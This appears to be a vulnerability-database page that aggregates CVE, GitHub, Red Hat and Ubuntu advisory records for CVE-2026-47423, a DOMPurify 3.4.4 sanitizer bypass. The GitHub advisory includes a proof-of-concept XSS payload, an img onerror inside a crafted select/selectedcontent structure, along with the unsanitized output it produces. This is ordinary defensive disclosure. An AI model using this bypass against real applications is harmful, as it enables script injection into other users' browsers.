Vulnerability-Lookup

CVE-2026-47423 (GCVE-0-2026-47423)

Vulnerability from cvelistv5 – Published: 2026-07-14 19:56 – Updated: 2026-07-16 14:47

Title

DOMPurify XSS via `selectedcontent` re-clone

Summary

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. In 3.4.4, DOMPurify allowed selectedcontent by default, allowing browsers to re-clone an XSS payload after sanitization so that unsanitized markup inside <selectedcontent> is returned. This issue is fixed in version 3.4.5.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-16 14:46 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/cure53/DOMPurify/security/advi…	x_refsource_CONFIRM
https://github.com/cure53/DOMPurify/commit/011b0c…	x_refsource_MISC
https://github.com/cure53/DOMPurify/releases/tag/3.4.5	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
cure53	DOMPurify	Affected: >= 3.4.4, < 3.4.5	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-47423

Vulnerability from fkie_nvd - Published: 2026-07-14 20:17 - Updated: 2026-07-21 19:50

Severity

8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/cure53/DOMPurify/commit/011b0c78f2a0f57ee54f5fcccb697a46ca6e63ea	Patch
security-advisories@github.com	https://github.com/cure53/DOMPurify/releases/tag/3.4.5	Release Notes
security-advisories@github.com	https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	cure53	dompurify	3.4.4

JSON

To clipboard

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GHSA-87XG-PXX2-7HVX

Vulnerability from github – Published: 2026-06-01 14:07 – Updated: 2026-06-01 14:07

Summary

DOMPurify XSS via selectedcontent re-clone

Details

Summary

DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.

Details

The chain is as follows: 1. The browser parses the input and creates a <selectedcontent> clone from the selected <option> 2. DOMPurify walks and sanitizes that generated clone. 3. DOMPurify reaches the original <option> and removes selected=javascript:1 4. The browser refreshes the <selectedcontent> clone from the original option's content. 5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize 6. The returned string contains unsanitized markup inside <selectedcontent>.

PoC

const dirty =
  '<select><button><selectedcontent></selectedcontent></button>' +
  '<option selected=javascript:1>' +
  '<img src=x onerror=alert(1)>x' +
  '</option></select>';

const clean = DOMPurify.sanitize(dirty);
console.log(clean);

document.body.innerHTML = clean;

Observed "sanitized" output in Chromium 148/WebKit 625:

<select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>

After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired:

<select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>

Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.

Impact

This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.

Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.4"
            },
            {
              "fixed": "3.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.4.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-01T14:07:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nDOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers \"re-clone\" an XSS payload after sanitization, effectively bypassing DOMPurify. \n\n### Details\nThe chain is as follows:\n1. The browser parses the input and creates a `\u003cselectedcontent\u003e` clone from the selected `\u003coption\u003e`\n2. DOMPurify walks and sanitizes that generated clone.\n3. DOMPurify reaches the original `\u003coption\u003e` and removes `selected=javascript:1`\n4. The browser refreshes the `\u003cselectedcontent\u003e` clone from the original `option`\u0027s content.\n5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn\u0027t go back to sanitize\n6. The returned string contains unsanitized markup inside `\u003cselectedcontent\u003e`.\n\n### PoC\n```js\nconst dirty =\n  \u0027\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003c/selectedcontent\u003e\u003c/button\u003e\u0027 +\n  \u0027\u003coption selected=javascript:1\u003e\u0027 +\n  \u0027\u003cimg src=x onerror=alert(1)\u003ex\u0027 +\n  \u0027\u003c/option\u003e\u003c/select\u003e\u0027;\n\nconst clean = DOMPurify.sanitize(dirty);\nconsole.log(clean);\n\ndocument.body.innerHTML = clean;\n```\n\nObserved \"sanitized\" output in Chromium 148/WebKit 625:\n```html\n\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003cimg src=\"x\" onerror=\"alert(1)\"\u003ex\u003c/selectedcontent\u003e\u003c/button\u003e\u003coption\u003e\u003cimg src=\"x\"\u003ex\u003c/option\u003e\u003c/select\u003e\n```\n\nAfter reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired:\n```html\n\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003cimg src=\"x\"\u003ex\u003c/selectedcontent\u003e\u003c/button\u003e\u003coption\u003e\u003cimg src=\"x\"\u003ex\u003c/option\u003e\u003c/select\u003e\n```\n\nReproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`.\n\n### Impact\nThis is a default-configuration DOMPurify sanitizer bypass resulting in XSS.\n\nApplications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.",
  "id": "GHSA-87xg-pxx2-7hvx",
  "modified": "2026-06-01T14:07:29Z",
  "published": "2026-06-01T14:07:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOMPurify XSS via selectedcontent re-clone"
}

RHSA-2026:10999

Vulnerability from csaf_redhat - Published: 2026-04-27 18:06 - Updated: 2026-09-06 23:51

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Important

Scope

3 vulnerabilities in this advisory, including CVE-2026-47423.

CVE-2026-47423

A flaw was found in DOMPurify, a DOM-only cross-site scripting (XSS) sanitizer. Due to the default allowance of `selectedcontent`, a remote attacker could craft a malicious payload that, after initial sanitization, could be re-cloned by browsers, leading to the execution of unsanitized markup. This could result in information disclosure.

5.9 (Medium)


                
                  CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

Fixed: 4 products

https://access.redhat.com/errata/RHSA-2026:10999

Open the full advisory

UBUNTU-CVE-2026-47423 (CVE-2026-47423)

Vulnerability from osv_ubuntu – Published: 2026-07-14 20:17 – Updated: 2026-07-14 20:17 – Source website

Details

Severity

8.2 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-47423	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-47423	REPORT
	https://github.com/cure53/DOMPurify/commit/011b0c…	REPORT
	https://github.com/cure53/DOMPurify/releases/tag/3.4.5	REPORT
	https://github.com/cure53/DOMPurify/security/advi…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "libjs-dompurify",
            "binary_version": "0.7.3~dfsg1-2"
          },
          {
            "binary_name": "node-dompurify",
            "binary_version": "0.7.3~dfsg1-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:16.04:LTS",
        "name": "dompurify.js",
        "purl": "pkg:deb/ubuntu/dompurify.js@0.7.3~dfsg1-2?arch=source\u0026distro=xenial"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.7.3~dfsg1-1",
        "0.7.3~dfsg1-2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "libjs-dompurify",
            "binary_version": "0.9.0~dfsg1-2"
          },
          {
            "binary_name": "node-dompurify",
            "binary_version": "0.9.0~dfsg1-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:18.04:LTS",
        "name": "dompurify.js",
        "purl": "pkg:deb/ubuntu/dompurify.js@0.9.0~dfsg1-2?arch=source\u0026distro=bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.9.0~dfsg1-1",
        "0.9.0~dfsg1-2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "node-dompurify",
            "binary_version": "2.3.3+dfsg-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "node-dompurify",
        "purl": "pkg:deb/ubuntu/node-dompurify@2.3.3+dfsg-1?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.3.0+dfsg-2",
        "2.3.3+dfsg-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "node-dompurify",
            "binary_version": "3.0.9+dfsg+~3.0.5-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "node-dompurify",
        "purl": "pkg:deb/ubuntu/node-dompurify@3.0.9+dfsg+~3.0.5-1?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.4.1+dfsg+~2.4.0-1",
        "3.0.9+dfsg+~3.0.5-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "node-dompurify",
            "binary_version": "3.3.3+dfsg-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "node-dompurify",
        "purl": "pkg:deb/ubuntu/node-dompurify@3.3.3+dfsg-1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.1.7+dfsg+~3.0.5-2",
        "3.3.3+dfsg-1"
      ]
    }
  ],
  "aliases": [],
  "details": "DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. In 3.4.4, DOMPurify allowed selectedcontent by default, allowing browsers to re-clone an XSS payload after sanitization so that unsanitized markup inside \u003cselectedcontent\u003e is returned. This issue is fixed in version 3.4.5.",
  "id": "UBUNTU-CVE-2026-47423",
  "modified": "2026-07-14T20:17:00Z",
  "published": "2026-07-14T20:17:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-47423"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47423"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/cure53/DOMPurify/commit/011b0c78f2a0f57ee54f5fcccb697a46ca6e63ea"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.5"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-47423"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-47423 (GCVE-0-2026-47423)

FKIE_CVE-2026-47423

GHSA-87XG-PXX2-7HVX

Summary

Details

PoC

Impact

RHSA-2026:10999

UBUNTU-CVE-2026-47423 (CVE-2026-47423)

Tags

Sightings

Nomenclature

Related by attack behaviour